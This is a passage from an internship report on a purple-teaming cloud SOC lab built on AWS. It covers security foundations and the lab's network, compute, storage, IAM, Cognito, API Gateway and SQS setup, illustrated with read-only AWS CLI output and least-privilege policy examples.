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Abstract

Cloud environments dissolve the single network perimeter into many trust boundaries, and
the attacks that matter most abuse identity and trust rather than breach a firewall. This
report presents a two-month internship project at Devoteam CyberTrust that builds a small
but realistic cloud-native Security Operations Center (SOC) lab on AWS and takes a purple-
teaming approach to it: realistic attacks are simulated across the cloud stack and, in the
same motion, the detections that catch them are engineered — offence and defence
developed together.

A deliberately vulnerable environment — a web application behind Nginx and the
ModSecurity WAF, EC2 and serverless workloads, IAM roles, and sensitive data in S3, RDS,
and DynamoDB — is attacked through four representative scenarios spanning the web and
cloud layers: web exploitation and brute force against OWASP Juice Shop; SSRF leading to
cloud-credential theft; a container escape that escalates to full cloud compromise; and a
serverless confused-deputy identity pivot. For every stage, detections are engineered end
to end in Wazuh, decoding ModSecurity and AWS CloudTrail/CloudWatch telemetry and
mapping each rule to MITRE ATT&CK.

Alongside this attack-and-detect core, the project also explores — as a forward-looking
experiment — an Al-augmented triage layer that orchestrates enrichment and a local
language model to draft correlated DFIR-IRIS cases for a human analyst. This layer is
promising but early, and is presented as a direction for future work rather than a finished
capability; the main contribution is the cloud lab together with the attack simulations and
the detection engineering built on it.

Keywords: Cloud Security, Purple Teaming, Attack Simulation, Detection Engineering, AWS,
Wazuh, MITRE ATT&CK, ModSecurity, CloudTrail, DFIR-IRIS.
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Chapter 1 : Introduction
1.1 Context

Organisations have moved the core of their infrastructure into the cloud, trading physical
servers for on-demand compute, storage, and managed services. That shift brings agility,
but it rewrites the security problem. In a traditional data centre, defence concentrated on a
single network perimeter; in the cloud, that perimeter multiplies into many trust boundaries
— between a user and an application, an application and a database, one service and
another — and each is ultimately crossed by an authenticated API call. Identity, not the
firewall, becomes the decisive control, and the most damaging cloud incidents are abuses of
identity and trust: stolen credentials, over-permissioned roles, privilege escalation,
confused-deputy attacks.

1.2 Motivation

These attacks are hard to detect precisely because they often succeed while the network
perimeter holds. A meaningful defence has to see across the whole stack — the web request
at the edge, the API call in the cloud control plane, the process on the host — and turn that
raw telemetry into reliable, low-noise alerts. The most effective way to build that visibility is
to attack the environment yourself and engineer the detections in the same motion — a
purple-teaming approach in which offence and defence inform each other, and the
approach taken throughout this work. A Security Operations Center (SOC) then consumes
the resulting alerts; but analysts are overwhelmed by volume, and there is growing interest
in using automation and Al to lighten that load — something this project also explores, at a
small scale.

1.3 Objectives

The project set out to:

e build a small but realistic cloud-native SOC lab on AWS, with the compute, storage,
identity, and networking services a real environment uses;

¢ simulate four representative attack scenarios across the web and cloud layers, each
a deliberate, documented misconfiguration;

¢ engineer the detections for every stage in Wazuh — decoding ModSecurity and AWS
telemetry and mapping each rule to MITRE ATT&CK; and

¢ explore an Al-augmented triage layer that correlates alerts into human-ready cases,
as an experimental extension rather than a production system.

1.4 Host organisation — Devoteam CyberTrust

This project was carried out at Devoteam CyberTrust, the cybersecurity practice of
Devoteam, a European technology-consulting group. Devoteam CyberTrust supports
organisations across the security lifecycle — from governance, risk, and compliance to
offensive security and security operations — with a strong emphasis on protecting cloud
and digital-transformation initiatives. Carrying out the internship within a professional
security team shaped the project's purple-teaming, cloud-security focus and grounded it in
the practices and perspective of real-world SOC and detection work.
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devoteam
Cyber Trust

The Devoteam CyberTrust logo

1.5 Scope and context

The work was carried out over a two-month internship at Devoteam CyberTrust. Given that
timeframe, the emphasis is firmly on the purple-teaming core — cloud security, attack
simulation, and detection engineering — which together make up the bulk of this report.
The Al-augmented SOC layer was built and tested as a proof of concept to explore what is
possible; it runs end to end on the lab, but is acknowledged throughout as early-stage and
in need of further work.

1.6 Report structure

e Chapter 2 establishes the security and cloud-computing foundations the rest of the
report relies on.

¢ Chapter 3 tells the story of building the lab — the AWS account, network, and
services — as a primer for what follows.

e Chapter 4 covers web-application security and the first attack scenario against
OWASP Juice Shop, with its detections.

e Chapter 5 moves to cloud and container security through three deeper scenarios:
SSRF to credential theft, container escape to full cloud compromise, and a serverless
confused-deputy pivot.

¢ Chapter 6 presents SOC operations and the exploratory Al integration that triages
the resulting alerts.

¢ Chapter 7 concludes and sets out future work.
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Chapter 2 : Security Principles and Foundational Concepts

2.1 Security objectives, threats, vulnerabilities, and risk

Information security is about preserving a small set of objectives, and having a precise
vocabulary for what threatens them.

aCe
J—

=

INTEGRITY

INFORMATION
SECURITY

CONFIDENTIALITY AVAILABILITY

Figure 1. CIA Triad

e The classic three are the CIA triad (Figure 1): confidentiality — only authorised
parties can read the data (encryption, access control); integrity — data stays accurate
and unmodified (hashing, digital signatures); and availability — authorised users can
reach it when needed (redundancy, backups). Three more complete the picture:
authentication (verifying who or what is acting), non-repudiation (a party cannot
deny an action, via audit logs and signatures), and privacy (the proper handling of
personal data).

The vocabulary for what endangers these objectives is precise: a threat is anything that
could cause harm (an attacker, a flood); a vulnerability is a weakness a threat can exploit (a
software bug, a misconfiguration, a weak password); and risk is the potential for damage
when the two meet, weighed by likelihood and impact. Managing risk means reducing
threats and closing vulnerabilities.

2.2 Core security principles

Two principles guide every design choice in this project. Least privilege holds that every
identity — human or machine — should carry only the permissions its job needs, and no
more, with access denied by default and allowed by exception. Defense in depth (Figure 2)
layers independent controls so that if one fails another still holds — network and identity,
prevention and detection — which is exactly how the detections in the later chapters are
built.
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Defense-in-depth layers

INTERNAL NETWORK
Firewall, intrusion detection

and encryption
HOST

Firewall, VPN and packet Platform 0S, patches and
filters malware protection

PHYSICAL
Locks, fences and
security guards

APP
SS0, authentication
and authorization

DATA
Database, content and

o message security
Passwords, policies and
data classification

Figure 2. Defense in Depth Layers

2.3 Cloud Computing Fundamentals

Cloud computing is the on-demand delivery of IT resources — compute, storage, databases
— over the Internet with pay-as-you-go pricing, from a provider such as AWS, instead of
owning physical data centres.

Cloud Deployment Models

There are three primary cloud deployment models to work with: cloud-based, on-premises,
and hybrid. Each comes with its own trade-offs and strengths.

Cloud-Based (Public Cloud)

In a cloud-based setup, everything lives in the cloud—compute, storage, networking,
databases, the whole stack. This model works well for new applications built specifically for
the cloud, but many teams also migrate legacy apps into this environment. You can choose
between low-level infrastructure like VMs (more control, more effort) or higher-level
services like managed databases and serverless functions that abstract away the nitty-gritty.

Example: A tech startup might spin up web servers on AWS EC2, store files in Amazon S3,
and use RDS for its backend database—all without needing a physical data center.

On-Premises (Private Cloud)

If your organization hosts everything in its own data center, you're in on-prem territory. This
is also called a private cloud when it uses virtualization and cloud-style management tools.
This model gives you maximum control over hardware, security, and compliance, which can
be crucial in industries like finance or healthcare.

Example: A hospital might run its patient management system on local servers using
VMware to virtualize the infrastructure, keeping sensitive data within its firewall for privacy
and compliance.

Hybrid Cloud

Hybrid cloud blends the two. It lets you keep part of your infrastructure on-premises while
extending other parts into the cloud. This model is especially useful when you have legacy
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systems that can’t move easily, or when regulations require certain data to stay in-house.
Hybrid setups offer flexibility and scalability while maintaining control where you need it.

Example: A retail company might run its customer-facing website and analytics in the cloud
but keep its inventory and point-of-sale systems on-prem for performance and data privacy
reasons.

Cloud Models
' laas ' Paas I 5aaS
Infrastructure as a service Platform as a service Software as a service
Control level: HIGH Control level: MEDIUM Control level: LOW
| Y ||| || ]
Figure 3. Comparisons among the three cloud models
laaS

If you're looking for the cloud equivalent of renting a data center, infrastructure as a service
(laaS) is your model. It gives you access to the nuts and bolts of computing—VMs, storage,
and networking—without asking you to manage physical servers.

You pay for what you use, and you get full control over the environment. This means you
can choose your OS, install the software you need, and configure the systems how you like.
It's a good fit for developers, systems administrators, or anyone who wants maximum
flexibility without the hassle of maintaining hardware.

PaaS

With the platform as a service model, you don’t think about infrastructure at all. The
platform gives you everything you need to build and deploy software—runtime, databases,
frameworks, and continuous integration and continuous delivery or deployment (CI/CD)
tools—without touching the underlying servers.

This model is a sweet spot for developers who want to move fast. You focus on writing
code, and the platform handles the rest, like provisioning, scaling, and patching.

SaaS

This is the model you’ve probably used the most, even if you didn't know the name.
Software as a service applications are fully built, fully managed, and ready to use in your
browser. Some examples include Gmail, Dropbox, or Microsoft 365. You sign in, and you're
good to go.

With Saa$, the provider handles software, updates, and security. You just use the app. It's a
good choice for businesses and individuals who want tools that work without the overhead.
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What is Amazon Web Services (AWS)?

dWs$s

Figure 4. Amazon Web Services (AWS)

Amazon Web Services (AWS) is a broad platform of on-demand services for computing,
storage, and networking at every level of abstraction — from raw virtual machines to high-
level REST APIs — accessed over standard web protocols and billed pay-per-use. Its best-
known services are EC2 (virtual machines) and S3 (storage), designed to interoperate
whether migrating an existing estate or building from scratch.

AWS Shared Responsibility Model

Customer data

Platform, applications, identity, and access management

Customers
Operating systems, network, and firewall configuration
Client-side data Server-side Networking traffic
encryption encryption protection
Software
Compute Storage Database | Networking
AWS

Hardware/AWS global infrastructure

Regions Availability zones | Edge locations

Figure 5. AWS Shared Responsibility Model

The AWS Shared Responsibility Model splits security duties: AWS secures the cloud itself
(physical infrastructure, networking, foundational services) while the customer secures what
they put in it (applications, configuration, data). How much the customer owns depends on
the service — with laaS (EC2) they manage the OS, network, and apps; with managed
services like RDS, AWS handles the platform; with fully-managed services like Lambda,
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AWS covers everything below the code, leaving the customer responsible for their code and
data.

Why is this model necessary ?

This matters because in the cloud you rent part of a much larger system: without clear lines
it is easy to assume AWS is handling something that is in fact yours. The model removes
that ambiguity.

2.4 Trust Boundaries and Identity in the Cloud

The cloud does not remove the network perimeter — it multiplies it into many trust
boundaries (browser to server, function to database, one service to another), and at each
the deciding question is one of identity: who is calling, with which credentials, permitted which
action on which resource. This is why the damaging cloud attacks abuse identity and trust
rather than breach a firewall — credential theft, over-permissioned roles, privilege
escalation, confused-deputy abuse — and why every scenario in this project succeeds while
the network perimeter holds. The defence is therefore layered at both the network (least
connectivity) and the identity (least privilege, short-lived credentials); and because every
crossing is an authenticated API call, AWS CloudTrail is the primary detection source for
cloud attacks, a theme that runs through Chapter 5.

2.5 MITRE ATT&CK — A Primer

ATT&CK Matrix for Enterprise
layout: side  show sub-techniques | hide sub-techniques

Reconnaissance Resource Initial Access Execution Persistence Privilege Stealth Defense Credential Discovery Lateral Collection Command and Exfiltration Impact
Development Escalation Impairment ‘Access Movement Control

12 techniques 9 techniques 11 techniques 20 techniques 22 techniques 13 techniques 30 techniques 18 techniques 17 techniques 34 techniques 9 techniques 17 techniques 18 techniques S techniques 15 techniques

Netw

terprise

What is ATT&CK?

MITRE ATT&CK is a knowledge base of real-world adversary techniques, organised by the
tactic (the why — the attacker's goal) and the technique (the how — the specific behaviour),
down to sub-techniques and concrete procedures.

Its value here is a common language: every detection rule in this report is tagged with the
ATT&CK technique it catches, and the lab's cloud attacks map onto ATT&CK's dedicated
Cloud matrix — so attacks, detections, and reporting all speak the same vocabulary.
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Chapter 3 : Infrastructure Architecture

3.1 From cloud theory to our lab

Chapter 2 laid out the theory: the service models, the shared-responsibility split, and the
principle that in the cloud identity is what crosses every trust boundary. This chapter turns
that theory into the concrete environment the four scenarios attack — a single account and
Region, one network cut into three tiers, and a small set of services deliberately wired (and,
in places, mis-wired) to make each attack possible. Every screenshot here is from the live
account, and each component is introduced as it is built, so the later chapters can refer back
rather than re-explain.

3.1.1 Regions, Availability Zones, and our footprint

Everything lives in one Region — eu-north-1 (Stockholm) — and one account
(819404925444). A Region is one of AWS's isolated geographic areas, each built from several
independent data centres; keeping the whole lab in a single Region and account puts
CloudTrail, billing, and IAM in one place and keeps the environment easy to reason about,
trading away the blast-radius isolation a multi-account design would give — an accepted
trade-off for a lab. Figure 7 confirms the working identity with aws sts get-caller-identity.

® aymane -~ </> js v22.20.0 © 14:28 A 2s36ms

> aws sts get-caller-identity

"UserId": "AIDA35SCWS5ICEAHTOI7II",
"Account": "819404925444",
"Arn": "arn:aws:iam::819404925444:user/soc-admin"

Figure 7. aws sts get-caller-identity — confirming the working AWS account (819404925444)
and the operator identity (soc-admin).

3.1.2 The lab at a glance — three actors, one VPC, three subnets
The environment has three human/external actors and one cloud network:

¢ The attacker — a Kali Linux workstation that plays the external adversary. It holds no
AWS credentials and reaches the targets only the way any internet attacker would
(HTTP, and later a Cognito login).

¢ The SOC analyst — reaches the monitoring stack over a VPN / Tailscale overlay,
never by exposing the SOC to the internet.

¢ The cloud — a single Virtual Private Cloud (VPC), 10.0.0.0/16, deliberately divided
into three purpose-built subnets so that the web tier, the internal tier, and the
monitoring tier are network-isolated from one another:
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Subnet CIDR What runs there

Target subnet 10.0.1.0/24 The Target EC2 — the internet-

facing web tier: OWASP Juice
Shop (in Docker) behind Nginx +

ModSecurity on :80 (App 1), a

Python External Finance
Operations Hub on :8090 (App 2),
and a Wazuh agent.

SOC management subnet 10.0.2.0/24 The SOC EC2 (10.0.2.107) — the
monitoring/analysis stack: Wazuh

(manager, indexer, dashboard),

plus Shuffle, Cortex and DFIR-

IRIS (the SOC toolchain of
Chapters 6-7).

Internal app subnet 10.0.3.0/24 The Internal EC2 — a private tier
not exposed to the internet: the
internal Flask finance portal on
:8080, a Wazuh agent, and the

RDS database it queries.
Around this VPC sit the AWS services the scenarios use but which have no subnet of their
own — the serverless application (Cognito, APl Gateway, Lambda, SQS, DynamoDB), the
regional services (IAM, STS, Secrets Manager, S3, Systems Manager), and the logging plane
(CloudTrail, CloudWatch Logs).

0,
Design and Implementation of a Cloud-Native SOC on AWS: | >]VirusTotal &) £33 —'l" ;¢ slack
Attack Simulation, Detection Engineering, and AI- Slack & Gmail

Augmented Triage Notifications

Figure 8. The lab at a glance: one VPC with three subnets, surrounded by the regional AWS
services the scenarios use.
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3.2 Networking foundation — Amazon VPC

With the account set, the first thing to build was the network. A Virtual Private Cloud (VPC)
is a private, logically-isolated slice of AWS in which you define your own IP ranges and carve
them into subnets; a security group is a per-resource firewall that allows only the traffic you
name, a public subnet reaches the internet through an internet gateway, and a private
subnet stays hidden. Figure 9 shows the general shape — and these are exactly the
boundaries the scenarios have to cross.

A

Internet
gateway

VPC —L
4—'
Routetable
¢ Security . o
i goup i NAT gateway NACL
z a
. Public subnet Private subnet |

Figure 9. How an Amazon VPC is structured — internet gateway, route table, subnets, security
groups and NACLs (conceptual overview).

3.2.1 Our configuration — the three-subnet design

® aymane -~ </> js v22.20.0 © 14:35 A 2s471ms

aws ec2 describe-vpcs --query 'Vpcs[].{VPC:VpcId,CIDR:CidrBlock,Name:Tags[?Key=="Name ]|[0].Va
' --output table

Figure 10. The account's VPCs — the lab uses cloud-soc-vpc (10.0.0.0/16).

We created one VPC, 10.0.0.0/16, and carved it into three subnets, each with a single clear
job — the network expression of "separate the things that should not trust each other":

1. Target subnet (10.0.1.0/24) — the exposed web tier. It hosts the Target EC2,
whose two applications (Juice Shop on :80, the finance-operations hub on :8090) are the
internet- reachable attack surface of Scenarios 1-3.

2. SOC management subnet (10.0.2.0/24) — the monitoring tier, hosting the SOC
EC2 (observed at 10.0.2.107). It is not exposed to the internet; the analyst reaches it over
the VPN/Tailscale overlay. Keeping the SOC on its own subnet mirrors real practice: the
plane that watches the environment must not share a trust zone with the things it watches.
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3. Internal app subnet (10.0.3.0/24) — the private tier. It hosts the Internal EC2 (the
Flask finance portal on :8080) and the RDS database, neither of which is meant to be
reachable from the internet at all — only from inside the VPC.

® aymane -~ </> js v22.20.0 © 14:28

> aws ec2 describe-subnets --query 'Subnets[].{Name:Tags[?Key=="Name']|[@].Value,CIDR:CidrBlock,
AZ:AvailabilityZone,Subnet:SubnetId}' --output table

+ + +
| | |
+ + +
I I I
| | |
| | |
| | |
I I I
I I I
+ + +

Figure 11. The three lab subnets — target (10.0.1.0/24), internal-app (10.0.3.0/24), and
SOC (10.0.2.0/24).

® aymane -~ </> js v22.20.0 © 14:38 A~ 65827ms

> aws ec2 describe-route-tables --query 'RouteTables[].{RT:RouteTableld,Subnets:Associations[].SubnetId,
Routes:Routes[].{Dest:DestinationCidrBlock,Via:GatewayId}}' --output json
[

"RT": "rtb-08c6a970b7468c0a3",

"Subnets": [
"subnet-0fcae84b274213512",
"subnet-0c0ffc5c4457b9c34"

]

'
"Routes": [

{
"Dest": "10.0.0.0/16",
"Via": "local"

3
{
"Dest": "0.0.0.0/0",
"Via": "igw-0e01e08142c898039"

Y.
{

"Dest": null,

"Via": "vpce-09483ba7ce627f384"
}

},
Figure 12. The VPC route table — local routing, an internet gateway, and a VPC-endpoint route.

3.3 Compute
3.3.1 Amazon EC2

Into that network we placed the machines. Amazon EC2 provides virtual machines you
launch and configure on demand, each guarded by a security group. The lab runs three
Ubuntu instances, one per subnet, each with a distinct role (Figure 13):

e Target EC2(10.0.1.0/24) — the internet-facing web host, and the busiest instance in
the lab. It runs two separate applications:

o App 1, port 80 — OWASP Juice Shop in a Docker container, fronted by an Nginx
reverse proxy with the ModSecurity WAF. This is the target of Scenario 1 and the
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entry point of Scenario 3. (The Nginx/ModSecurity configuration is inseparable
from the web-attack scenario and is documented in Chapter 4)

o App 2, port 8090 — a small Python External Finance Operations Hub, the
vulnerable reporting portal whose SSRF flaw drives Scenario 2. It carries an IAM
instance profile granting the S3 read that Scenario 2 abuses, and it started on
IMDSv1 (later hardened to IMDSv2 for Scenario 3).

e SOCEC2(10.0.2.107) — the monitoring host, running the entire Wazuh stack plus
the Shuffle / Cortex / DFIR-IRIS toolchain in Docker (Chapters 6). Isolating the SOC
on its own instance and subnet keeps the monitoring plane out of the blast radius of
the things it monitors.

e Internal EC2 (10.0.3.0/24) — the private host, running the internal Flask finance
portal (:8080) that reads credentials from Secrets Manager and queries RDS. It is
reachable only from inside the VPC and, during Scenario 3, only via SSM lateral
movement.

® aymane -~ </> js v22.20.0 © 14:43 A 6s3lems

> aws ec2 describe-instances --query 'Reservations[].Instances[].{Name:Tags[?Key=="Name ]|[0].Value,PrivIP:PrivateIpAddress,Subnet:SubnetId, IMDS:
MetadataOptions.HttpTokens,Role:IamInstanceProfile.Arn}' --output table

beInstances

Figure 13. The lab's EC2 instances across the three subnets.

3.3.2 AWS Lambda (serverless)

Not every workload is a server you manage. AWS Lambda is functions-as-a-service: you
upload code and a trigger — an HTTP request, a queue message — and AWS runs and scales
it on demand, with no instance to log into. The lab's serverless side, the subject of Scenario
4, is two Python functions (Figure 14):

e ReportApi — the public front door behind APl Gateway. It reads the caller's Cognito
claims, writes a job record to DynamoDB, and enqueues the job on SQS. Execution
role ReportApiRole; env JOB_TABLE, QUEUE_URL, AUDIT_GROUP=AuditTeam. It is
not VPC-attached — it only talks to regional services.

¢ AuditWorker — the private worker, VPC-attached in the internal subnet with the
security group Scenario3-LambdaWorker-SG, triggered by the SQS queue. It
assumes FinanceAuditReadRole, reads the RDS secret, queries the database, and
writes the result back to DynamoDB. Execution role AuditWorkerRole; env
JOB_TABLE, AUDIT_ROLE_ARN, DB_SECRET_ARN.

The full source of both functions is preserved with the project and analysed in Chapter 5;
here we record only their deployment shape.

19 | 99



® aymane ~ </> js v22.20.0 © 14:44 A 2s255ms

> aws lambda list-functions --query 'Functions[].{Name:FunctionName,Runtime:Runtime, VPCSubnet
s:VpcConfig.SubnetIds,SG:VpcConfig.SecurityGroupIds}' --output json
[

{
"Name": "AuditWorker",
"Runtime": "python3.14",
"VPCSubnets": [
"subnet-0c0ffc5c4457h9c34",
"subnet-0labcedc831b0f648"

"sg-02483998f4b187b33"

"Name": "ReportApi",
"Runtime": "python3.14",
"VPCSubnets": null,
"SG": null

Figure 14. The two Lambda functions — AuditWorker (inside the VPC) and ReportApi (outside it).

® aymane -~ </> js v22.20.0 © 14:45 R 2s234ms

> aws lambda get-function-configuration --function-name AuditWorker --query '{Role:Role,Env:Environment.Variables,VPC:VpcConfig|
.SubnetIds}' --output json
{

"Role": "arn:aws:iam::819404925444:role/AuditWorkerRole",

"Env": {
"AUDIT_ROLE_ARN": “arn:aws:iam::819404925444:role/FinanceAuditReadRole"”,

"JOB_TABLE": "Scenario3-ReportJobs"
"DB_SECRET_ARN": "arn:aws:secretsmanager:eu-north-1:819404925444:secret:Scenario3/FinanceAuditRdsReader-p4wXkh"

"subnet-0coffc5c4457b9c34",
"subnet-8labce8c831b0f648"

Figure 15. AuditWorker's configuration — its role, environment variables (audit role and secret
ARN), and VPC subnets.

3.4 Storage and data
3.4.1 Amazon S3

With the compute running, the scenarios needed data — to protect, and to steal. Amazon
S3 stores objects (files) in buckets, reached through the AWS API rather than a filesystem.

Two buckets matter: a CloudTrail-delivery bucket that receives the account's audit-log
objects (the source Wazuh reads, §3.8.1), and an internal/finance data bucket holding the
sensitive object Scenario 2 exfiltrates. Both keep Block Public Access enabled — the point
of Scenario 2 is that the data is stolen through over-permissioned credentials, not a public
bucket.
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® aymane -~ </> js v22.20.0 © 14:46 A 2s5240ms

aws s3api list-buckets --query 'Buckets[].Name' --output table

Figure 16. The account's S3 buckets — the CloudTrail-delivery bucket and the internal data-lab
bucket.

® aymane -~ </> js v22.20.0 © 14:47 A 2s27ms

> aws s3api get-public-access-block --bucket company-internal-data-lab --output json

"PublicAccessBlockConfiguration": {
"BlockPublicAcls": true,
"IgnorePublicAcls": true,
"BlockPublicPolicy": true,
"RestrictPublicBuckets": true

Figure 17. Block Public Access fully enabled on the company-internal-data-lab bucket.
3.4.2 Amazon RDS

Structured data lives in a relational database. Amazon RDS runs managed relational engines
(MySQL, PostgreSQL, ...) so you operate the data, not the server.

A MySQL instance, finance-db1, runs in the internal app subnet (10.0.3.0/24), hosting
database finance_lab and its sensitive table audit_records. Its security group admits MySQL
(3306) only from the internal app and the AuditWorker security group — nothing else can
open a socket to it. Its credentials are never hard-coded; they live in Secrets Manager.

® aymane -~ </> js v22.20.0 © 14:48 < 2s5193ms

» aws rds describe-db-instances --query 'DBInstances[].{ID:DBInstanceIdentifier,Engine:Engine,Public:
PubliclyAccessible, SubnetGroup:DBSubnetGroup.Subnets|[].SubnetIdentifier,SG:VpcSecurityGroups|[].VpcSecurit|
yGroupId}' --output json

{

"ID": "finance-dbl",

"Engine": "mysql",

"Public": false,

"SubnetGroup": [
"subnet-0cOffc5c4457b9c34",
"subnet-0labcefc831b0f648",
"subnet-0fcae84b274213512"

|
"sg-0992e646446alld3b"

Figure 18. The RDS MySQL instance finance-db1 in the internal subnet.
3.4.3 Amazon DynamoDB

Not all of it is relational. Amazon DynamoDB is AWS's managed NoSQL key-value store,
addressed by a partition key rather than SQL.

21|99



The table Scenario3-ReportJobs (partition key job_id) stores each report job's state and
result: ReportApi writes the initial QUEUED record and AuditWorker updates it to
COMPLETED, reaching DynamoDB from inside the VPC through the gateway endpoint.

</> js v22.20.0

> aws dynamodb describe-table --table-name Scenario3-Reportlobs --query
'Table.{Name:TableName, Keys:KeySchema,Status:TableStatus}' --output json
{
"Name": "Scenario3-ReportJobs",
"Keys": [
{
"AttributeName": "job id",
"KeyType": "HASH"
}
1,

"Status": "ACTIVE"

Figure 19. The DynamoDB table Scenario3-ReportJobs (partition key job_id).
3.4.4 AWS Secrets Manager

Credentials never belong in code. AWS Secrets Manager stores secrets — database
passwords, APl keys — and hands them to an application at runtime, so nothing sensitive is
hard-coded.

The finance database credentials are stored as Scenario3/FinanceAuditRdsReader (used by
the Scenario 4 worker) and ScenarioChain/FinanceRdsReader (the Scenario 3 portal). Only
the role that needs them (FinanceAuditReadRole) may read the secret, and the worker
fetches it over the Secrets Manager interface endpoint.

® aymane -~ </> js v22.20.0 © 15:21 A 2s830ms

aws secretsmanager list-secrets --query 'SecretList[].Name' --output table

Figure 20. aws secretsmanager list-secrets — the finance-audit DB credential
(Scenario3/FinanceAuditRdsReader) among the account's secrets.

3.5 Identity and access management
3.5.1 AWS IAM

None of this matters without identity — the control that decides who may touch what, and
the pivot of every scenario. AWS IAM governs that access through a few objects: users
(long-lived human or script identities), groups, roles (identities with no long-term
credentials, assumed to obtain temporary access), and policies (JSON documents granting
Allow/Deny on an action and a resource). An instance profile lets an EC2 instance wear a
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role, every resource is named by an ARN, and the rule throughout is least privilege — grant
only what the job needs.

In the account, the identities are split by purpose:

e Human/admin : soc-admin, used from the analyst workstation to build and operate
the lab. It is never part of any attack path — the scenarios are engineered so the
attacker never needs it.

¢ Telemetry : wazuh-cloudtrail-reader, whose only job is to let Wazuh read logs. It
holds Wazuh-Read-Scenario3-CloudTrail (read the CloudTrail bucket) and
WazuhReadScenario3Lambdalogs (read the Lambda log groups); its keys are
configured in the Wazuh AWS module.

e Service roles : the EC2 instance role (the over-permissive S3 read Scenario 2
exploits), the two Lambda execution roles ReportApiRole / AuditWorkerRole, and
the sensitive FinanceAuditReadRole that can read the finance secret and is the pivot
target of Scenario 4.

® aymane -~ </> js v22.20.0 © 15:28 A 2s79ms

aws iam list-users --query 'Users[].UserName' --output table

Figure 21. The account's IAM users (aws iam list-users).

® aymane ~ </> js v22.20.0 © 15:28 A 25495ms

aws iam list-attached-user-policies --user-name wazuh-cloudtrail-reader --output table

Figure 22. The wazuh-cloudtrail-reader user's attached read-only CloudTrail policy.
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® aymane -~ </> js v22.20.0 © 15:32 A 2s5106ms

aws iam list-roles --query 'Roles[].RoleName' --output table

Figure 23. The account's IAM roles (aws iam list-roles), including the scenario roles.

® aymane -~ </> js v22.20.0 © 15:32 A 2s803ms

> aws iam get-role --role-name FinanceAuditReadRole --query 'Role.AssumeRolePolicyDocument'
--output json
{
"Version": "2012-10-17",
"Statement": [
{

"Ssid": "OnlyAuditWorkerMayAssumeThisRole",
"Effect": "Allow",
"Principal”: {
"AWS": "arn:aws:iam::819404925444:role/AuditWorkerRole"

}

"Action": "sts:AssumeRole"

Figure 24. FinanceAuditReadRole's trust policy — only AuditWorkerRole may assume it.

How we write IAM policies

Every permission in the account is an IAM policy: a JSON document with an Effect (Allow or
Deny), one or more Actions (API calls such as s3:GetObject), and a Resource (an ARN, or *).
Two kinds matter here — identity-based policies attached to a user or role (what it may do)
and a role's trust policy (who may assume it).

An identity-based policy follows least privilege — grant one capability, nothing more. This
read-only proof policy allows a single action:

{
"Version": "2012-10-17",
"Statement": [
{ "Sid": "ControlledReadOnlyEC2Proof",
"Effect": "Allow",
"Action": "ec2:Describelnstances”,

n, nwxn

"Resource": "*" }
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]
}
The monitoring identities are scoped this way: the wazuh-cloudtrail-reader user (Figure 22)
carries only a read-only CloudTrail policy, so the SOC can read logs but never change the
account.

Arole's other half is its trust policy, naming the Principal allowed to assume it. This one lets
the EC2 service — and any instance we attach the role to — assume it:

{
"Version": "2012-10-17",
"Statement": [
{"Sid": "AllowEC2ToAssumeRole",
"Effect": "Allow",
"Principal": { "Service": "ec2.amazonaws.com" },
"Action": "sts:AssumeRole" }
]
}

The Principal is the control point: FinanceAuditReadRole (Figure 24) names only
AuditWorkerRole, so nothing else in the account can assume it.

Each of these minimal configurations is a boundary — and the scenarios in Chapters 4 and 5
are, in effect, tests of what happens when one is left too wide.

3.5.2 AWS STS

AWS STS (Security Token Service) issues temporary, limited-privilege credentials. The
central call is AssumeRole: an identity assumes a role and receives a short-lived access-
key/secret/session-token triple scoped to that role. This underpins instance roles, Lambda
execution roles, and role chaining (one role assuming another). Because every AssumeRole
is a CloudTrail event, STS is a prime detection source.

The key chain is in Scenario 4: AuditWorker (running as AuditWorkerRole) calls AssumeRole
on FinanceAuditReadRole to obtain credentials able to read the finance secret, over the STS
interface endpoint. This deliberate role separation is what makes the confused-deputy
attack and its detection meaningful.

3.5.3 Amazon Cognito

User-facing authentication is handled by Amazon Cognito: a user pool is a directory that
issues JWT tokens on sign-in, carrying claims such as group membership that downstream
services (like APl Gateway) then trust.

The serverless app authenticates users against pool eu-north-1_Yuv7wfO9F through app
client 7m2hap80308jea8phvom23eil3. The lab user viewer1 is a low-privilege account not
in the AuditTeam group, a distinction the application logic (and the Chapter 5 confused-
deputy detection) hinges on.
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® aymane -~ </> js v22.20.0 © 15:38 A 2s4ms

> aws cognito-idp list-groups --user-pool-id eu-north-1 Yuv7wfO9F --query
'Groups[].GroupName' --output table

Figure 25. The Cognito user pool's only group, AuditTeam.

® aymane -~ </> js v22.20.0 © 15:48

> aws cognito-idp admin-list-groups-for-user --user-pool-id eu-north-1_Yuv
7wf09F --username viewerl --region eu-north-1 --profile soc-admin

{
}

Figure 26. User viewer1 belongs to no group — the empty membership Scenario 4 abuses.

"Groups": []

® aymane -~ </> js v22.20.0 © 15:48 A 3s23ms

> aws cognito-idp admin-get-user --user-pool-id eu-north-1_Yuv7wf09F --username viewerl
--region eu-north-1 --profile soc-admin --query *{User:Username,Status:UserStatus,Enabled:En
abled}' --output table

Figure 27. The Cognito user viewer1l — enabled and CONFIRMED.

3.6 Application and integration
3.6.1 Amazon API Gateway

Amazon API Gateway is a managed front door for APIs. It maps routes (method + path) to
integrations — usually a Lambda function — grouped into deployable stages, and can gate
access with an authorizer: a JWT authorizer validates a token (e.g. from Cognito) and

forwards the request only if its issuer and audience match, passing the token's claims to the
backend.

The serverless app is fronted by an HTTP API (id whc8v11gfa) with two routes, both
integrated to ReportApi and both protected by a Cognito JWT authorizer (issuer = the eu-
north-1_Yuv7wfO9F pool): POST /jobs (submit a report job) and GET /jobs/{jobld} (fetch a
result).
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® aymane -~ </> js v22.20.0 © 15:50

> aws apigatewayv2 get-routes --api-id whc8vllgfa --query 'Items[].{Route:RouteKey,
Auth:AuthorizationType,Target:Target}' --output table

Figure 28. The APl Gateway HTTP API (whc8v11gfa) and its two JWT-protected routes (POST
/jobs, GET /jobs/{jobld}).

3.6.2 Amazon SQS

Amazon SQS is a managed message queue that decouples producers from consumers: a
producer sends a message, the queue stores it durably, and a consumer processes it later. A
visibility timeout hides an in-flight message from other consumers, and an event source
mapping invokes a Lambda automatically as messages arrive.

The queue Scenario3-ReportQueue (standard) sits between the two Lambdas: ReportApi
sends a job message, and an event source mapping (batch size 1) triggers AuditWorker. This
asynchronous hop is exactly why the confused deputy is hard to see from any single
vantage point (Chapter 5) — the decision is made in one function and executed in another.

® aymane -~ </> js v22.20.0 © 15:50 A 2s5264ms

> aws lambda list-event-source-mappings --function-name AuditWorker --query 'Event
